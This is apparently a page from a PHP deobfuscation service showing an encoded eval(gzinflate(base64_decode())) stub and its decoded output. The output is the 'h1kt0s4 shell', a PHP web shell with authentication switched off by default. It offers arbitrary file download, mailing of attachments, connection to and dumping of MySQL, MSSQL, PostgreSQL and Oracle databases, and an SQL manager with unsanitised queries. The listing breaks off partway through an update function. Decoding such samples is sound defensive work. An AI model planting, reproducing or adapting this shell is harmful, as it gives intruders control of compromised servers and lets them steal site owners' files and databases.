Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzinflate(base64_decode(' 7L15fxq50jD695vfL9+hx8fPwT5xbBbbMck4Z9jd GLDZl5m5e..

Decoded Output download

?>
<?
/******************************************************************************************************/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*  (c)oded by SnIpEr_SA,Developed by h1kt0s4
/*  MAIL http://vnbrain.net , http://vnhack.net
/******************************************************************************************************/
/* ~~~  | Options  ~~~ */
// ~~~~| Language
// $language='eng' - english (english)
// $language='ar' - arabi (arabi)
$language='eng';
// ~~~~~~~ | Authentification
// $auth = 1; -( authentification = On  )
// $auth = 0; -  ( authentification = Off )
$auth = 0;
// (Login & Password for access)
//(CHANGE THIS!!!)
//   'h1kt0s4'
// ma hoa user va pass  bang thuat toan md5 
$name='0963b32c662bde64ababb0bee7825fc3'; //(user login)
$pass='0963b32c662bde64ababb0bee7825fc3'; // (user password)
/******************************************************************************************************/

echo "".htmlspecialchars($copy)."";
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.31';
if(version_compare(phpversion(), '4.1.0') == -1)
 {
 $_POST   = &$HTTP_POST_VARS;
 $_GET    = &$HTTP_GET_VARS;
 $_SERVER = &$HTTP_SERVER_VARS;
 $_COOKIE = &$HTTP_COOKIE_VARS;
 }
if (@get_magic_quotes_gpc())
 {
 foreach ($_POST as $k=>$v)
  {
  $_POST[$k] = stripslashes($v);
  }
 foreach ($_COOKIE as $k=>$v)
  {
  $_COOKIE[$k] = stripslashes($v);
  }
 }

if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
   {
   header('WWW-Authenticate: Basic realm="h1kt0s4 shell"');
   header('HTTP/1.0 401 Unauthorized');
   exit("<b><a href=http://www.google.com>h1kt0s4</a> : Access Denied</b>");
   }
}
$head = '<!--  h1kt0s4  -->
<html>
<head>
<meta http-equiv="Content-Language" content="ar-sa">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>h1kt0s4 shell</title>



<STYLE>

body {
font-family: Tahoma
}
tr {
BORDER-RIGHT:  #Black 1px solid;
BORDER-TOP:    Black 1px solid;
BORDER-LEFT:   Black 1px solid;
BORDER-BOTTOM: #Black 1px solid;
BORDER-COLOR: #333333;
color: #999999;
}
td {
BORDER-RIGHT:  #Black 1px solid;
BORDER-TOP:    Black 1px solid;
BORDER-LEFT:   Black 1px solid;
BORDER-BOTTOM: #Black 1px solid;
BORDER-COLOR: #333333;
color: #999999;
}
.table1 {
BORDER: 0px;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #999999;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
color: #999999;
}
.tr1 {
BORDER: 0px;
BORDER-COLOR: #333333;
color: #999999;
}
table {
BORDER:  Black 1px outset;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #999999;
}
input {
border			: solid 1px;
border-color		: #009900 #009900 #009900 #009900;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: #999999;
}
select {
BORDER-RIGHT:  Black 1px solid;
BORDER-TOP:    #009900 1px solid;
BORDER-LEFT:   #009900 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-color: #999999;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND-COLOR: Black;
width: 30%;
color: #999999;
}
textarea {
BORDER-RIGHT:  Black 1px solid;
BORDER-TOP:    #009900 1px solid;
BORDER-LEFT:   #009900 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
font: Fixedsys bold;
color: #999999;
}
BODY {
	SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #999999; SCROLLBAR-SHADOW-color: #999999; SCROLLBAR-3DLIGHT-color: #999999; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #999999; SCROLLBAR-DARKSHADOW-color: #999999
margin: 1px;
color: Red;
background-color: Black;
}
.main {
margin			: -287px 0px 0px -490px;
border			: #009900 solid 1px;
BORDER-COLOR: #333333;
}
.tt {
background-color: Black;
}

A:link {
	COLOR: White; TEXT-DECORATION: none
}
A:visited {
	COLOR: White; TEXT-DECORATION: none
}
A:hover {
	color: Red; TEXT-DECORATION: none
}
A:active {
	color: Red; TEXT-DECORATION: none
}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \'none\')
    show_div(id);
  else
    hide_div(id);
}
</script>';
class zipfile
{
    var $datasec      = array();
    var $ctrl_dir     = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   = 0;
    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year']    = 1980;
            $timearray['mon']     = 1;
            $timearray['mday']    = 1;
            $timearray['hours']   = 0;
            $timearray['minutes'] = 0;
            $timearray['seconds'] = 0;
        }
        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    }
    function addFile($data, $name, $time = 0)
    {
        $name     = str_replace('\\', '/', $name);
        $dtime    = dechex($this->unix2DosTime($time));
        $hexdtime = '\x' . $dtime[6] . $dtime[7]
                  . '\x' . $dtime[4] . $dtime[5]
                  . '\x' . $dtime[2] . $dtime[3]
                  . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr   = "\x50\x4b\x03\x04";
        $fr   .= "\x14\x00";
        $fr   .= "\x00\x00";
        $fr   .= "\x08\x00";
        $fr   .= $hexdtime;
        $unc_len = strlen($data);
        $crc     = crc32($data);
        $zdata   = gzcompress($data);
        $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $c_len   = strlen($zdata);
        $fr      .= pack('V', $crc);
        $fr      .= pack('V', $c_len);
        $fr      .= pack('V', $unc_len);
        $fr      .= pack('v', strlen($name));
        $fr      .= pack('v', 0);
        $fr      .= $name;
        $fr .= $zdata;
        $this -> datasec[] = $fr;
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x14\x00";
        $cdrec .= "\x00\x00";
        $cdrec .= "\x08\x00";
        $cdrec .= $hexdtime;
        $cdrec .= pack('V', $crc);
        $cdrec .= pack('V', $c_len);
        $cdrec .= pack('V', $unc_len);
        $cdrec .= pack('v', strlen($name) );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('v', 0 );
        $cdrec .= pack('V', 32 );
        $cdrec .= pack('V', $this -> old_offset );
        $this -> old_offset += strlen($fr);
        $cdrec .= $name;
        $this -> ctrl_dir[] = $cdrec;
    }
    function file()
    {
        $data    = implode('', $this -> datasec);
        $ctrldir = implode('', $this -> ctrl_dir);
        return
            $data .
            $ctrldir .
            $this -> eof_ctrl_dir .
            pack('v', sizeof($this -> ctrl_dir)) .
            pack('v', sizeof($this -> ctrl_dir)) .
            pack('V', strlen($ctrldir)) .
            pack('V', strlen($data)) .
            "\x00\x00";
    }
}
function compress(&$filename,&$filedump,$compress)
 {
    global $content_encoding;
    global $mime_type;
    if ($compress == 'bzip' && @function_exists('bzcompress'))
     {
        $filename  .= '.bz2';
        $mime_type = 'application/x-bzip2';
        $filedump = bzcompress($filedump);
     }
     else if ($compress == 'gzip' && @function_exists('gzencode'))
     {
        $filename  .= '.gz';
        $content_encoding = 'x-gzip';
        $mime_type = 'application/x-gzip';
        $filedump = gzencode($filedump);
     }
     else if ($compress == 'zip' && @function_exists('gzcompress'))
     {
             $filename .= '.zip';
        $mime_type = 'application/zip';
        $zipfile = new zipfile();
        $zipfile -> addFile($filedump, substr($filename, 0, -4));
        $filedump = $zipfile -> file();
     }
     else
     {
             $mime_type = 'application/octet-stream';
     }
 }
function mailattach($to,$from,$subj,$attach)
 {
 $headers  = "From: $from\r\n";
 $headers .= "MIME-Version: 1.0\r\n";
 $headers .= "Content-Type: ".$attach['type'];
 $headers .= "; name=\"".$attach['name']."\"\r\n";
 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
 if(@mail($to,$subj,"",$headers)) { return 1; }
 return 0;
 }
class my_sql
 {
 var $host = 'localhost';
 var $port = '';
 var $user = '';
 var $pass = '';
 var $base = '';
 var $db   = '';
 var $connection;
 var $res;
 var $error;
 var $rows;
 var $columns;
 var $num_rows;
 var $num_fields;
 var $dump;

 function connect()
  {
          switch($this->db)
     {
           case 'MySQL':
            if(empty($this->port)) { $this->port = '3306'; }
            if(!function_exists('mysql_connect')) return 0;
            $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
            if(is_resource($this->connection)) return 1;
           break;
     case 'MSSQL':
      if(empty($this->port)) { $this->port = '1433'; }
            if(!function_exists('mssql_connect')) return 0;
            $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
      if($this->connection) return 1;
     break;
     case 'PostgreSQL':
      if(empty($this->port)) { $this->port = '5432'; }
      $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
      if(!function_exists('pg_connect')) return 0;
      $this->connection = @pg_connect($str);
      if(is_resource($this->connection)) return 1;
     break;
     case 'Oracle':
      if(!function_exists('ocilogon')) return 0;
      $this->connection = @ocilogon($this->user, $this->pass, $this->base);
      if(is_resource($this->connection)) return 1;
     break;
     }
    return 0;
  }

 function select_db()
  {
   switch($this->db)
    {
          case 'MySQL':
           if(@mysql_select_db($this->base,$this->connection)) return 1;
    break;
    case 'MSSQL':
           if(@mssql_select_db($this->base,$this->connection)) return 1;
    break;
    case 'PostgreSQL':
     return 1;
    break;
    case 'Oracle':
     return 1;
    break;
    }
   return 0;
  }

 function query($query)
  {
   $this->res=$this->error='';
   switch($this->db)
    {
          case 'MySQL':
     if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
      {
      $this->error = @mysql_error($this->connection);
      return 0;
      }
     else if(is_resource($this->res)) { return 1; }
     return 2;
          break;
    case 'MSSQL':
     if(false===($this->res=@mssql_query($query,$this->connection)))
      {
      $this->error = 'Query error';
      return 0;
      }
      else if(@mssql_num_rows($this->res) > 0) { return 1; }
     return 2;
    break;
    case 'PostgreSQL':
     if(false===($this->res=@pg_query($this->connection,$query)))
      {
      $this->error = @pg_last_error($this->connection);
      return 0;
      }
      else if(@pg_num_rows($this->res) > 0) { return 1; }
     return 2;
    break;
    case 'Oracle':
     if(false===($this->res=@ociparse($this->connection,$query)))
      {
      $this->error = 'Query parse error';
      }
     else
      {
      if(@ociexecute($this->res))
       {
       if(@ocirowcount($this->res) != 0) return 2;
       return 1;
       }
      $error = @ocierror();
      $this->error=$error['message'];
      }
    break;
    }
  return 0;
  }
 function get_result()
  {
   $this->rows=array();
   $this->columns=array();
   $this->num_rows=$this->num_fields=0;
   switch($this->db)
    {
          case 'MySQL':
           $this->num_rows=@mysql_num_rows($this->res);
           $this->num_fields=@mysql_num_fields($this->res);
           while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
           @mysql_free_result($this->res);
           if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    case 'MSSQL':
           $this->num_rows=@mssql_num_rows($this->res);
           $this->num_fields=@mssql_num_fields($this->res);
           while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
           @mssql_free_result($this->res);
           if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
    break;
    case 'PostgreSQL':
           $this->num_rows=@pg_num_rows($this->res);
           $this->num_fields=@pg_num_fields($this->res);
           while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
           @pg_free_result($this->res);
           if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    case 'Oracle':
     $this->num_fields=@ocinumcols($this->res);
     while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
     @ocifreestatement($this->res);
     if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    }
   return 0;
  }
 function dump($table)
  {
   if(empty($table)) return 0;
   $this->dump=array();
   $this->dump[0] = '##';
   $this->dump[1] = '## --------------------------------------- ';
   $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
   $this->dump[3] = '## Database: '.$this->base;
   $this->dump[4] = '##    Table: '.$table;
   $this->dump[5] = '## --------------------------------------- ';
   switch($this->db)
    {
          case 'MySQL':
           $this->dump[0] = '## MySQL dump';
           if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
           if(!$this->get_result()) return 0;
           $this->dump[] = $this->rows[0]['Create Table'];
     $this->dump[] = '## --------------------------------------- ';
           if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
           if(!$this->get_result()) return 0;
           for($i=0;$i<$this->num_rows;$i++)
            {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
            $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
            }
    break;
    case 'MSSQL':
     $this->dump[0] = '## MSSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
           if(!$this->get_result()) return 0;
           for($i=0;$i<$this->num_rows;$i++)
            {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
            $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
            }
    break;
    case 'PostgreSQL':
     $this->dump[0] = '## PostgreSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
           if(!$this->get_result()) return 0;
           for($i=0;$i<$this->num_rows;$i++)
            {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
            $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
            }
    break;
    case 'Oracle':
      $this->dump[0] = '## ORACLE dump';
      $this->dump[]  = '## under construction';
    break;
    default:
     return 0;
    break;
    }
   return 1;
  }
 function close()
  {
   switch($this->db)
    {
          case 'MySQL':
           @mysql_close($this->connection);
    break;
    case 'MSSQL':
     @mssql_close($this->connection);
    break;
    case 'PostgreSQL':
     @pg_close($this->connection);
    break;
    case 'Oracle':
     @oci_close($this->connection);
    break;
    }
  }
 function affected_rows()
  {
   switch($this->db)
    {
          case 'MySQL':
           return @mysql_affected_rows($this->res);
    break;
    case 'MSSQL':
     return @mssql_affected_rows($this->res);
    break;
    case 'PostgreSQL':
     return @pg_affected_rows($this->res);
    break;
    case 'Oracle':
     return @ocirowcount($this->res);
    break;
    default:
     return 0;
    break;
    }
  }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
 {
  if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  else
   {
    @ob_clean();
    $filename = @basename($_POST['d_name']);
    $filedump = @fread($file,@filesize($_POST['d_name']));
    fclose($file);
    $content_encoding=$mime_type='';
    compress($filename,$filedump,$_POST['compress']);
    if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
    header("Content-type: ".$mime_type);
    header("Content-disposition: attachment; filename=\"".$filename."\";");
    echo $filedump;
    exit();
   }
 }

if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if(isset($_GET['sqlman'])) {
session_start();
$action = $HTTP_GET_VARS['action'];
$pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page.
function show_login($dbnamearray){
     $hostdefault="localhost";
                echo"<table>";
                echo"<form  name='showlogin' method='post' action='$action'>";
        if(count($hostdefault) > 1){
            echo"<tr><td>??? C???????:</td><td><select name=host>";
            for($x=0; $x < count($hostdefault);$x++){
                echo"<option value=$hostdefault[$x]>$hostdefault[$x]";
            }
            echo"</select></td></tr>\n";
        }else{
            echo"<tr><td>Server Databases:</td><td><input type=text name='host' size=15 value=$hostdefault /></td></tr>\n";
                }
        echo"<tr><td>Username:</td><td><input type=text name='userid' size=15 /></td></tr>\n";
                echo"<tr><td>Password:</td><td><input type=password name='pword1' size=15 /></td></tr>\n";

                If($dbnamearray != ""){
                        echo"<tr><td>?C?IE C?E?C?CE:</td><td><select name='dbna'>\n";
                        for ($i =0; $i < count($dbnamearray); $i++) {
                                $dbn=$dbnamearray[$i];
                                echo"<option value=$dbn>$dbn";
                        }
                }
                echo"<tr><td><input class=ser type='submit' name='login' value='login' /></td>\n";
                echo"<td><input class=ser type=reset name='reset' value='Clear' /></td></tr>\n";
                echo"</form></table>\n";

}

function dbrestrict(){
if(isset($_SESSION['user'])){
    $user=$_SESSION['user'];

    switch($user){

    //Edit these ** values. You can add more case statements.
        case '**User**':
            $dbnamearray= array('**dbname**', '**dbname2**', '**dbname**');
            break;
     //end edit values

        default:
            $_SESSION['defaltuser']=true;
            $dbnamearray = array();
            $link = connectmysql();

            $db_list = mysql_list_dbs($link); //$db_list
                    $cnt = mysql_num_rows($db_list);
                    for ($i =0; $i < $cnt; $i++) {
                            $dbnamearray[$i]= mysql_db_name($db_list, $i);
                    }
    }
    return $dbnamearray;
}
}
//***************************************************************
//function showdbs($dbnamearray, $backuppath){
function showdbs($dbnamearray){
    //$backuppath=addslashes($backuppath);
       echo"<table>\n";
       for ($i =0; $i < count($dbnamearray); $i++) {
                    echo"<tr><td>";
            $dbn=$dbnamearray[$i];
                        $va="Go to the base $dbn";
                        goto(' ', $dbn,$action, 'but', 'db', $va );

            $dbs=mysize($dbnamearray[$i],"");
            echo"</td><td>$dbs</td></tr>\n";
        }
    echo"</table>\n";
}


//********************* Show Logout Button **********
function endsess(){
echo"<form method='post' name='endsess' action='$action'>\n";
echo"<input class=ser type='submit' name='logout' value='Logout' />\n";
echo"</form>";
}

//********************************************************************
function connectmysql(){
        //Connects to the MySQL Database.


        if (isset($_SESSION['user']) && isset($_SESSION['password'])){
                 $user = $_SESSION['user'];
                 $pass = $_SESSION['password'];
        }else{
        display_foot();
        echo"\n</body>\n</html>";
                exit();
        }
        $link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']);
        if(! $link){
                echo"<div class='error'>\n";
                echo"Unable to connect to the database server. <BR>";
                echo"The Host: $_SESSION[host], Username: $user Or call confidential Ktae. <br>";
                echo"As well out of the record attempt once Akharie.\n";
                echo"</div>\n";

        return false;
                exit();
        } else{
                return $link;
        }

}
//*********************************************************************
function connectdb($db, $link){
        if(! mysql_select_db($db,$link)){
                echo"Unable to locate database $db.<br> Please try again later.\n";
                exit();
        }
}
//*********************************************************************
function exequery($sql, $tablename, $db){
        $result= @mysql_query( $sql );
        if($result){
                //echo "Query successful";
                return $result;
        }else{
                echo"Sorry your Query failed: $sql <br> error:".mysql_error()."\n";
                return false;
        }
}


//***************************************************
$fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT",
  "INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION",
 "REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" );


//****************** Search Form ****************************
function searchtableform($tablename, $dbname){
        echo"<form method='post' action='$action'>\n";
        echo"<input type=hidden name='dbname' value='$dbname' />\n";
        echo"<input type=hidden name='tablename' value='$tablename' />\n";
        echo"<input type=text name='searchval' />\n";
        echo"<input class=ser type=submit name='search' value='Search $tablename' />\n";
        echo"</form>\n";
}
//********************* Search *************************
function searcht($tablename, $dbname, $searchval){
        if(! empty($searchval)){
                //        $searchval= str_replace(";",' ', $searchval);
        $result=exequery("Select * from $tablename", $tablename, $dbname);
                //$result=mysql_query("Select * from $tablename");
                $num = mysql_num_fields($result);
                $fields = mysql_list_fields($dbname, $tablename);
                $whr="where ";
                $tok=explode(" ",$searchval);
                for ($t =0; $t < count($tok); $t++){
                        for ( $c = 0; $c < $num; $c++){
                                $fn =mysql_field_name($fields, $c);
                                $whr .=" $fn like '%$tok[$t]%' or ";
                        }
                }
                $whr=trim(substr_replace($whr, " ", -3));
                $query="Select * from $tablename $whr";
                $result=exequery($query, $tablename, $dbname);
                return $result;
        }

}
//*********************GOTO buttons*************************
//provides a form and button.

function goto($tablename, $dbname, $action, $class, $name, $va ){
        //Adds a button.

        echo"<form action='$action' method='post' >\n";

                if(! eregi('tablestart', $name)){
                        echo"<input type=hidden name=dbname value='$dbname' />\n";
                        echo"<input type=hidden name=tablename value='$tablename' />\n";
                }
                echo"<input class=$class type=submit  value='$va' name='$name' />\n";
                //echo"<input class=$class type=submit  value='$action' name=$name>";
        echo"</form>\n";

        //echo"<a class=$class href=$action>$va</a>";
        //}
}

//*********************** ShowDB ***********************************
function showdb(){
//function showdb($backuppath){

        $link=connectmysql();
        if ($link){
        echo"<div class='db'>";
                echo"<div class='cream'>\n";
                echo"<h2 class=h >The establishment of a new base</h2>\n";

                echo"<form name=cdb action='$action' method='post' >\n";
                echo"Name of new rule: <input type=text name=ndbname />\n";
                echo"<br /><br /><input class=but type='submit' name='cndb' value='The establishment of a new base' />\n";
                echo"</form><br />";
                echo"</div>";
                echo"<h2 class=h >The list of rules available</h2>\n";
                //Restrict the database for users
        $dbnamearray= dbrestrict();
        showdbs($dbnamearray);
        echo"</div>";
           }

}

//********************** BuildWhr ******************************
//Builds the Where part of queries.

function buildwhr($pk, $pv){
        $whr="";
        $pn =count($pv);
        for($t =0; $t < $pn; $t++){
                $whr.="$pk[$t]='$pv[$t]'";
                if($t < $pn-1){
                        $whr.=" and ";
                }
        }
        if ($whr !=" "){
                return $whr;
        }else{
                return false;
        }
}
//***********************ADD Record ******************

function addrecord($tablename, $dbname, $array){
     $result=exequery("Select * from $tablename", $tablename, $dbname);
        //$result = @mysql_query( "Select * from $tablename" );

        $flds = mysql_num_fields($result);
        //$fields = mysql_list_fields($dbname, $tablename);
           $qry=" ";
    $query = "Insert into $tablename Values( ";
        for ($x =0; $x < $flds; $x++){
        //Multiple Select values for SET

       if(is_array($array[$x])){
            $mval="";
            for($m=0; $m < count($array[$x]); $m++){
                if($m+1 == count($array[$x])){
                    $mval.= AddSlashes($array[$x][$m]);

                }else{
                    $mval.= AddSlashes($array[$x][$m]).",";
                }
                $fval = $mval;
            }
        }else{
                    $fval = AddSlashes($array[$x]);
        }
                $qry .= "'$fval'";
                if ($x < $flds-1){
                        $qry.= ", ";
                }
        }
        $query .= $qry.")";
   // echo"qry: $qry";
        $result=exequery($query, $tablename, $dbname);
        if($result){
                return $result;
        }else{
                return false;
        }
}

//**********************ADD Form **********************

function addform($tablename, $dbname){
 //Display the field names and input boxes
 echo"<form action='$action' method='post'>\n";
 echo"<table border=0 width='100%' align='center'>\n";
 echo"<tr class=head><td>Field Name</td><td>Type</td><td>Value</td></tr>\n";
  $result=exequery("Select * from $tablename", $tablename, $dbname);
 //$result = @mysql_query( "Select * from $tablename" );
 $flds = mysql_num_fields($result);
 $fields = mysql_list_fields($dbname, $tablename);
 echo"<input type=hidden name=tablename value='$tablename' />\n";
 echo"<input type=hidden name='dbname' value='$dbname' />\n";
 echo"<tr>\n";

 $mxlen = 80;//max width of the form fields.
 for($i=0; $i < $flds; $i++){
      $auto = "false";
      echo "<th>".mysql_field_name($fields, $i);
      $fieldname = mysql_field_name($fields, $i);  // added
      $type  = mysql_field_type($result, $i);
      $flen = mysql_field_len($result, $i);//length of the field
      $flagstring = mysql_field_flags ($result, $i);
    // Start of new code for set drop down
      $newsql = "show columns from $tablename like '%".$fieldname."'";
      $newresult = exequery($newsql, $tablename, $dbname);
      //mysql_query($newsql) or die ('I cannot get the query because: ' . mysql_error());
      $arr=mysql_fetch_array($newresult);
    // End of new code block for set drop down
      if (eregi("primary",$flagstring )){
       $type .= " PK ";
      }
      if(eregi("auto",$flagstring )){
       $type .= " auto_increment";
       $auto = "true";
      }
      if ($auto=="true"){
        echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' value=0 /></td></tr>\n";
      }elseif($flen > $mxlen){
        $rws= $flen/$mxlen;
        if($rws>10){
             $rws=10; //max length of textarea
        }
        echo"<td>$type</td><td><textarea name='array[$i]' rows=$rws cols=$mxlen></textarea></td></tr>\n";
        // Start of new code for set drop down
      }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){  // We have a field type of set or enum
       $num=substr_count($arr[1],',') + 1;  // count the number of entries
       $pos=strpos($arr[1],'(' ); //find the position of '('
       $newstring=substr($arr[1],$pos+1);  // get rid of the '???('
       $snewstring=str_replace(')','',$newstring); // get rid of the last ')'
       $nnewstring=explode(',',$snewstring,$num); // stick into an array
       if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values
           echo "<td>Set (select one or more)</td>";
           echo"<td><select name='array[$i][]' size='3' multiple>";
       }else{//Enum one value only
        echo "<td>Enum</td>";
           echo"<td><select name='array[$i]'>";
       }
       for($y=0; $y<$num;$y++){
       echo"<option value=$nnewstring[$y]>$nnewstring[$y]";
       }
        echo"</select></td></tr>\n";
    // End of new code block for set drop down
      }else{
       echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' /></td></tr>\n";
      }
 }
 echo"<tr><td><input class=but type=submit name='addrec' value='Add Record' /></td>\n";
 echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n";
 echo"</tr>";
 echo"</table>\n";
 echo"</form>\n";
}


//*********************Edit Form ***************
function editform($tablename, $dbname, $result, $edit, $pk, $pv){
        $row=mysql_fetch_array($result);
        echo"<form action='$action'  method=post>\n";
        echo"<table border=0 width ='100%' align='center'>\n";

        $flds = mysql_num_fields($result);
        $fields = mysql_list_fields($dbname, $tablename);
        echo"<input type=hidden name=tablename value='$tablename' />\n";

        echo"<input type=hidden name='dbname' value='$dbname' />\n";
        echo"<tr>";
        $mxlen = 80;//max width of the form fields
        for($i=0; $i < $flds; $i++){
        $fname=mysql_field_name($fields, $i);
                echo "<th>$fname";
                 $flen = mysql_field_len($result, $i);//length of the field
                $nslash = StripSlashes($row[$i]);
        // Start of new code for set drop down
      $newsql = "show columns from $tablename like '%".$fname."'";
      $newresult = exequery($newsql, $tablename, $dbname);
      $arr=mysql_fetch_array($newresult);
    // End of new code block for set drop down

                if($flen > $mxlen){
                        $rws= $flen/$mxlen;
                                if($rws>10){
                                $rws=10; //max length of textarea
                        }
                        echo"<td><textarea name='array[$i]' rows=$rws cols=$mxlen>$nslash</textarea></td></tr>\n";
// Start of new code for set drop down
          }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){  // We have a field type of set or enum
           $num=substr_count($arr[1],',') + 1;  // count the number of entries
           $pos=strpos($arr[1],'(' ); //find the position of '('
           $newstring=substr($arr[1],$pos+1);  // get rid of the '???('
           $snewstring=str_replace(')','',$newstring); // get rid of the last ')'
           $nnewstring=explode(',',$snewstring,$num); // stick into an array
           if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values
               echo"<td><select name='array[$i][]' multiple size='3'>";
           }else{//Enum one value only
               echo"<td><select name='array[$i]'>";
           }
           $nsel=explode(",",$nslash);
          for($y=0; $y<$num;$y++){
                //geteach value 'a,b,c'
                $sel="";
                for($e=0; $e<count($nsel);$e++){
                    if($nnewstring[$y]=="'".$nsel[$e]."'"){
                        $sel="selected";
                    }
                }
                echo"<option value=$nnewstring[$y] $sel>$nnewstring[$y]";
           }
            echo"</select></td></tr>\n";
// End of new code block for set drop down


        }else{
                        echo"<td><input type=text name='array[$i]' size='$flen' value='$nslash' /></td></tr>\n";
                }
                for($f =0; $f< count($pk);$f++){
                        echo"<input type=hidden name=pk[$f] value='$pk[$f]' />";
                        echo"<input type=hidden name=pv[$f] value='$pv[$f]' />\n";
                }
        }
        echo"<tr><td><input class=but type=submit name='editrec' value='Update' /></td>\n";
        echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n";
        echo"</tr>";
        echo"</table>\n";
        echo"</form>\n";
}
//************************Edit Record*************************
function editrec($dbname, $tablename, $pk, $pv, $array){

        //$result = @mysql_query( "Select * from $tablename" );
    $result = exequery("Select * from $tablename", $tablename, $dbname);
        $flds = mysql_num_fields($result);
        $fields = mysql_list_fields($dbname, $tablename);

//Build Query
           $qry="";
    $query = "UPDATE $tablename set ";
